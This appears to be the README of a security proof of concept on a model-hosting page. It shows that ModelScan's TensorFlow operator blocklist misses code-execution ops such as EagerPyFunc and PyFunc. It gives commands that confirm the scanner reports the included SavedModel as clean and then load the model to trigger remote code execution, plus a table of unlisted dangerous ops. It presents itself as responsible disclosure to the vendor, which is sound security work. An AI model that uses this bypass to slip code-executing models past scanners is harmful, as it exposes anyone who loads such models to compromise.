--- library_name: tensorflow tags: - security-research - modelscan-bypass - tensorflow-ops - eagerpyfunc - rce --- # ModelScan TF Ops Blacklist Bypass — PoC ## What This Is **ModelScan's `unsafe_tf_operators` blacklist only has 2 entries: ReadFile and WriteFile.** But TensorFlow has **hundreds of raw ops**, including code execution ops like `EagerPyFunc` and `PyFunc`. All of them pass through ModelScan undetected. This SavedModel contains `EagerPyFunc` ops — ModelScan reports **0 Issues, 0 Errors, 0 Skipped**. ## Verify ```bash # 1. ModelScan says CLEAN pip install modelscan[all] modelscan -p saved_model.pb # Output: Issues: 0, Errors: 0, Skipped: 0 # 2. But the graph contains EagerPyFunc python3 -c " import tensorflow as tf data = open('saved_model.pb', 'rb').read() print(f'EagerPyFunc: {data.count(b\"EagerPyFunc\")}x') print(f'StatefulPartitionedCall: {data.count(b\"StatefulPartitionedCall\")}x') " # 3. Load + call → RCE python3 -c " import tensorflow as tf model = tf.saved_model.load('.') print(model(tf.constant([1.0, 2.0, 3.0]))) print('Check /tmp/PYFUNC_RCE') " ``` ## Dangerous Ops NOT in Blacklist | Op | Risk | In Blacklist? | |----|------|---------------| | EagerPyFunc | Code execution | ❌ | | PyFunc | Code execution | ❌ | | PyFuncStateless | Code execution | ❌ | | StatefulPartitionedCall | Calls sub-function | ❌ | | PartitionedCall | Calls sub-function | ❌ | | WholeFileReader | File read | ❌ | | WholeFileReaderV2 | File read | ❌ | | MatchingFiles | Directory listing | ❌ | ## Disclosure Submitted to ProtectAI via huntr.dev.